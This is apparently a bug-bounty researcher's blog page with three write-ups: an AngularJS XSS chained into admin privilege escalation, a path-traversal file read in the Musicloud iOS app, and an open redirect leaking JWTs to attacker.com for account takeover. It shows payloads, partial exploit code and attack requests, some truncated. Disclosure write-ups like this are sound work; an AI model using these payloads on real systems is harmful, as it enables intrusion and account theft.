• Twitter
  • FB
  • Github
  • Youtube

About me

Let me introduce myself

A bit about me

i'm Shawar Khan.

With over 4 years of experience, I've identified major security vulnerabilities in the world's well-known companies including Google, Microsoft, Apple, PayPal. Acknowledged by over hundreds of companies and listed in over +100 Halls of Fame.


Shawar Khan

Personal info

Shawar Khan

A Security Researcher at HackersRay, Bug Bounty Hunter and Red Team Member at Synack inc.

Acknowledgements: List Here

Hackerone: View Hackerone profile

BugCrowd : View Bugcrowd profile

Skills & Things about me

Web Application
Penetration Testing
Mobile App
Penetration Testing
Exploit Writing


My recent research work

Sunday, August 4, 2019

Leveraging AngularJS-based XSS to Privilege Escalation

Greetings everyone, this is Shawar Khan. Been over months since my last write-up as I was quite busy in testing different targets. Recently I found an interesting XSS vulnerability in a target using which I was able to escalate my privileges to an admin user.

XSS is such an interesting vulnerability, after discovering it you can just play and communicate with an application without having to worry about Same-Origin Policy. Everything is our control and most of the protections are broken.

So, it is the application the administrator user has the highest privileges and it was possible to add/delete/edit any user. So my goal was set to escalate my privileges to an administrative user account via XSS. Whenever I've discovered XSS, my main goal is to play around and make it exploitable in such a unique way in which I haven't done before. Grabbing tokens, bypassing CSRF protections or grabbing cookies are just an old form of exploitation now. So, I tried escalating my privileges.

During my test, there were multiple XSS vulnerabilities discovered by the interesting one was found at the user profile page. Each registered user has a different profile page such as "https://www.site.com/users/username-here".

Discovering the AngularJS-based XSS:

This was a page that was reflecting the First & Last name of a user account which was accessible by all privileged user. Applying simple test probes such as "><img src=x onerror=prompt()> didn't shown my any kind of results so there was proper XSS protection being done. All special characters were properly filtered but I thought why not try to get AngularJS based XSS. Went to settings and changed account name to "{{alert(1)}}".

So, I tested the same thing as a different privileged user and navigating to my profile at /users/username_page triggers the payload which confirms that it was accessible by any user:

When trying to escalate privileges, your main goal is to look for functionalities that will edit your role or will invite you to an unrestricted area giving you access to information. In my case, the admin user had the authority to edit/add users so this is something I was willing to target.

In my case, I had a test admin account to test the issue so I knew what request I had to replicate to add a new admin privileged user. In scenarios where you do not have access, simply try to obtain source code of admin account by sending output of document.body.innerHTML and try to obtain information about internal functionalities. XSSHunter and other tools can be exploit to obtain such information.

Understanding the payload serving:

Anyways, the username field had a short length-limit so it was not possible to write the entire exploit code in that field. The username will also add entries to the profile page plus it will look malicious as well. Also, it was not possible to inject a script tag referring to external javascript but that will be length as well.

As always, serving the payload via window.name. I always serve the payload via window.name as there are no issues with the exploit limit and the payload for loading our exploit code is limited to 20 characters as we will be only loading and serving the given payload to eval(atob(top.name)) another benefit of using this technique is that it will bypass many of the validation checks for malicious keywords as our main exploit code will not be inputted inside the vulnerable application so in a nutshell our exploit code is not validated and checked.

So, the window name can be set by opening a URL using window.open(url,"window name here") and intead of window name we will set our exploit code to base64. So by calling window.name it will return our exploit code which will be executed by eval()

Targeting the User modification functionality:

This functionality was found in the admin user portal and the highest privileged user was able to change data and privileges of any user of the application. There are different options such as email change and check boxes to confirm if the user is higher privileged or not. By setting a parameter "csc=1" the user is given full privileges but this can be only done by an admin user. 

In case if the source code is only retrieved it is possible to map all the functionalities by doing a source code review and understanding what endpoints are taking what parameters.

The following was the request that modifies a user to an admin and fully privileged user:

POST /users/attackers-username HTTP/1.1
Host: vulnerablesite.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 141


In order to escalate our privileges, the request above should be reproduced so when our exploit code is accessed by a higher privileged user our user will be modified.

Writing the exploit code:

The first thing we have to retrieve is the CSRF Token so we can validate the request. Sometimes its present in the cookie it self so retrieving it from document.cookie is quite easy but in this case it was found in a meta-tag such as:
<meta name="CSRF_TOKEN" content="TOKEN_HERE">

I opened up the settings page located at /settings using fetch() and stored its output in a variable woot. Then I used woot.getElementsByTagName('meta')[3]['content'] to retrieve the value of CSRF token and stored it into a new variable csrf_token, now our exploit code is something like:

var woot = document.createElement('html');
fetch('https://vulnerablesite.com/settings',{credentials: 'include'}).then((resp) => resp.text()).then(function(data){

var csrf_token = woot.getElementsByTagName('meta')[3]['content']

now we will have to use reproduce the request which can be easilly done with XHR:

function privilege_escalate(){
var req = new XMLHttpRequest();
req.withCredentials = true;
req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); 
The above privilege_escalate() function when executed will send a POST request that will change information of the attacker's account which in my case is mrs-camylle-kertzmazevalwindowname and also changed the name to our payload {{eval(atob(window.name))}}  this will keep the name so when a window.name is having an exploit code it will be used to execute the exploit code from window.name. Also, this request has the csc=1 which will change the privileges of our user.

Final exploit code:

The exploit code can be base64 encoded further and used as window name so when it is executed by eval(atob(window.name)) it will be triggered. We can now use the following code that will open up our profile page and will set our exploit code to window name. So once the window.name is accessed our exploit is triggered:


In the following screenshot we can see that our user is having access to limited functionalities:
Attacker's account before exploit

After successfully executing our exploit code in a higher privileged user, our account will have highest privileges and access to admin functionalities. As seen in the screenshot below:
Attacker's account after exploit execution

Take aways:

  1. Whenever testing for XSS vulnerabilities, don't just stop when the application is properly filtering user input such as < > and other characters. Move one step further and try other techniques to achieve XSS such as the one mentioned in this write-up. Try using {{alert(1}} or try to upload files such as .swf, .svg, .html, .url and others.
  2. Never stop at detection of a vulnerability, always try to play around to know its limitations and its range. In case of XSS, try to interact with unique functionalities, fuzz around to see what else you can achieve instead of just a popup.
  3. Try something unique & think out of the box!

Sunday, February 17, 2019

CVE-2019-8389 - Arbitrary file read in Musicloud v1.6

Greetings everyone, this is Shawar Khan and today I am going to share a vulnerability that I found in an iOS application named Musicloud v1.6. This is a music player that allows users to store and play music from different sources. Music can be imported from different areas such as Dropbox, Google Drive and Computer as well. In order to transfer the music between the phone and the computer a user have to turn on Wifi-Transfer feature:
By default the services runs on port 8080 on the IP address of the mobile phone which in this case is Anyone on the entire network can access the WIFI-transfer service on port 8080. Accessing the port 8080 will return the following page:

The application uses the following endpoints to perform Upload & Download functions:
  • /download.script - used for downloading a music
  • /upload.script - used for uploading a music
 If we download a single music such as music-1.mp3 then it will send a GET request to but when 2 selected files are downloaded, the following request is made:

POST /download.script HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 141
Connection: close


This will create a MusicPlayerArchive.zip file with the content of music-1.mp3 & music-2.mp3 so accessing will return the zip file with the content of 2 music files.Also, the empty value of "cur-folder" specifies the current directory so if its empty it means we are requesting content from the path ./ so in the case above it is requesting the file from path ./music-1.mp3.

As we are able to control the path, we can request any file by simply setting the path along with the specified file. So in order to request the file /etc/passwd we will set the following values to the specified parameters:

So we will just simply make a request to download.script using the values mentioned above in order to create a MusicPlayerArchive.zip with the content of /etc/passwd:
POST /download.script HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:65.0) Gecko/20100101 Firefox/65.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 59
Connection: close


and we will get the content of the file by requesting the MusicPlayerArchive.zip:

and we were successfully able to read /etc/passwd of the victim's iPhone. Thats how this vulnerability was exploited. I wrote a little exploit to automate the entire process and it will be available on exploit-db:

The exploit can be seen below:

Sunday, January 27, 2019

Hijacking accounts by retrieving JWT tokens via unvalidated redirects

About the writeup 

Greetings everyone hope you are doing well, its been a while since my last write-up. After some busy days I decided to give back to the community. Today, I'm going to share an interesting write-up of a vulnerability that I found in a bug bounty program. Basically the root issue is the Unvalidated redirection but I decided to take it further than just a redirection so lets start.

Getting to know the application

When targeting a company or an application the first thing is to identify the application flow and working of its mechanisms. Testing for a list of vulnerabilities without understanding the application doesn't make any sense to me so I started to test the unauthenticated areas. Before going further, I want to tell you guys that I divide the application into 2 parts. The first one includes the areas that doesn't require authentication and then the areas that requires authentication this way we can easily perform proper testing among those. So, one other important thing is the login mechanism.

Understanding the Login process

Understanding the login process is a very important when performing a penetration test. If we can understand the login flow, it is easy to crack our way into the accounts. When testing logins, see how the application reacts when correct credentials are given. In some cases the application just takes credentials and returns the cookies that is called cookie-based authentication where as in some cases the application returns a valid token such as JWT which is used to authenticate to areas. If a user is being authenticated by cookies our main goal should be targeting them and making a way to steal them but in my case a valid passwords returns a JWT token which was being used to interact with the APIs. So, in my case the authentication flow was "token-based" and in a nut-shell, If I'm having a valid token of victim then the application will recognize me as the victim. Have a look at this article to know different authentication flows.

One-time usable JWT token

Upon a valid login, the application does a 302 Redirect towards /dashboard with the GET parameters token & email. The token parameter holds a JWT token that is only usable for a single time. This token will be used to communicate with an API endpoint token which is located at /aapi/v1/authentications/token to receive a permanent JWT token .

HTTP/1.1 302 Found
Date: Tue, 18 Dec 2018 19:51:21 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Location: http://secure.site.com/dashboard?token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJhdXRoX29ubHkiOnRydWUsImV4cCI6MTU0NTE2MjY5Nn0.hzBq7uN2KiE8JNw1Uj_apd1OxqzS3JRKt-neoSP1vI&signup_event=true&email_event=demo@site.com
Cache-Control: no-cache
Set-Cookie: ...

Reusable JWT Token

After the first token is received the application sends a GET request to /aapi/v1/authentications/token with the first JWT token in the Authorization header:

GET /aapi/v1/authentications/token HTTP/1.1
Host: secure.site.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJhdXRoX29ubHkiOnRydWUsImV4cCI6MTU0NTE2MjY5Nn0.hzBq7uN2KiE8JNw1Uj_apd1OxqzS3JRsKt-neoSP1vI
content-type: application/json
origin: https://secure.site.com
Connection: close

This request will return a Permanent JWT token that will be used throughout the entire API.

"jwt_token": "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJndWVzdF90b2tlbiI6bnVsbCwiZXhwIjoxNTQ1MTYyNjkzfQ.XPq-YkU01KYxffnHIRs5LoY5czIPn8WxqnbXbJOANDY",
"user": {
"id": 1,
"first_name": "Demo",
"last_name": "User",
"email": "demo@site.com",
"created_at": "2016-01-27T16:17:32.832Z"

Now this is the second JWT token that is received and this is used in all the API endpoints. The previous JWT token that was received via the redirection can not be used multiple times our main focus will be stealing the second token that was received in the response of /token.

Unvalidated redirection on all domains

During my testing I explored different subdomains of the application and found that a subdomain that was a having forum. In order to use the forum the application requires an authenticated user so in order to authenticate the user the application returned me back to secure.site.com which was the domain where I was testing the authentication mechanism. This was confirmed that all authentication of the subdomains and other areas were covered by a single authentication mechanism that was located in secure.site.com. So if I simply login, the application will return me back to forum.site.com authenticated!

This was interesting and I found that there was some redirection being done. I identified how the application knew I was on the Forum subdomain, sometimes its the referrer header based on which the application redirects by in my condition I found that when I was sent to secure.site.com a new GET parameter named my_results_redirect was also sent along. So my initial location before redirecting to forum was /login?my_results_redirect=https://forum.site.com/

Now after performing the login with the "my_results_redirect" having the value https://forum.site.com, I found that the application had the following response:

HTTP/1.1 302 Found
Date: Tue, 18 Dec 2018 19:51:21 GMT
Content-Type: text/html; charset=utf-8
Connection: close
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Location: https://forum.site.com/dashboard?token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoxLCJhdXRoX29ubHkiOnRydWUsImV4cCI6MTU0NTE2MjY5Nn0.hzBq7uN2KiE8JNw1Uj_apd1OxqzS3JRsKt-neoSP1vI&signup_event=true&email_event=demo@site.com
Cache-Control: no-cache

I found that I was able to tamper the redirection area of token by manipulating the value of my_results_redirect parameter. So if its value is set to https://shawarkhan.com then the application will redirect the user to https://shawarkhan.com. The my_results_redirect parameter was processed on all the subdomains so all domains were having unvalidated redirect but as our target was secure.site.com I kept my focus on it.

Retrieving the one-time-use JWT:

So if a crafted URL is visited by an authenticated user, I will receive the JWT on my host. A quick python -m SimpleHTTPServer 80 and after a victim visited https://secure.site.com/login?my_results_redirect=http%3A%2F%2fattacker.com%2Fdashboard , I received the first JWT token!

Retrieved the first JWT token

Now it was time to make a request to /aapi/v1/authentications/token to receive a final JWT token. I made the request and found that the request was rejected. It was a bit confusing moment as the entire process was properly followed. I followed each step and found it was not working properly and I wasn't able to obtain the second JWT token. Aha! Protections?

Some 0.01% protections?

I found that the developers had implemented some minor protections in order to prevent unauthorized use of the first token. Even I followed the same steps that the application was doing so the reason why my request was being rejected was the delay. The application directly sends the token to the API just after its generated so there is a very little delay between the generation time and the time at which its sent to the API.  The followings were some minor issues:
  • Token was one time usable
  • Token expires within a few seconds
In order to get rid of expiration issues, I automated a few steps using the python code below:

The code communicates with the /token API endpoint and retrieves the JWT token from the response which is further used to communicate with the API endpoints. The entire application was using the API to change account information and for other functions.

Permanent JWT token retrieved

Time to play

Now using the permanent JWT token it was possible to communicate with the APIs as now we had victim's JWT token. There was an API endpoint /aapi/v1/users/1 which accepts a PUT reques. It was possible to manipulate victim's email address to attacker's email address and afterwards changing password via email will result in a complete account compromise. By sending the following request with vicitm's JWT token, I was able to change victim's email to attacker@shawarkhan.com:

PUT /aapi/v1/users/1 HTTP/1.1
Host: secure.site.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rw:56.0) Gecko/20100101 Firefox/56.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
authorization: Bearer Victims_JWT_here
content-type: application/json
origin: https://site.com
Content-Length: 200
Connection: close


So thats how I was able to completely hijack victim's account. Make sure to share this write-up to let people know how risky redirections vulnerabilities can be. These kind of vulnerabilities are often neglected and ignored most of the times and are sometimes considered low-risk.

Know your target, understand how it works. Find a vulnerability and exploit it to its max to know its limits!  - Shawar Khan


What can I do

Web-App Penetration Testing

Provides a complete Penetration Test against the web application in order ensure its safety.

Android App Penetration Testing

Provides Android Application Penetration Testing in order to make the app & secure.

iOS App Penetration Testing

Provides iOS Application Penetration Testing in order to make the app & secure.

Want to contact?

Get in touch with me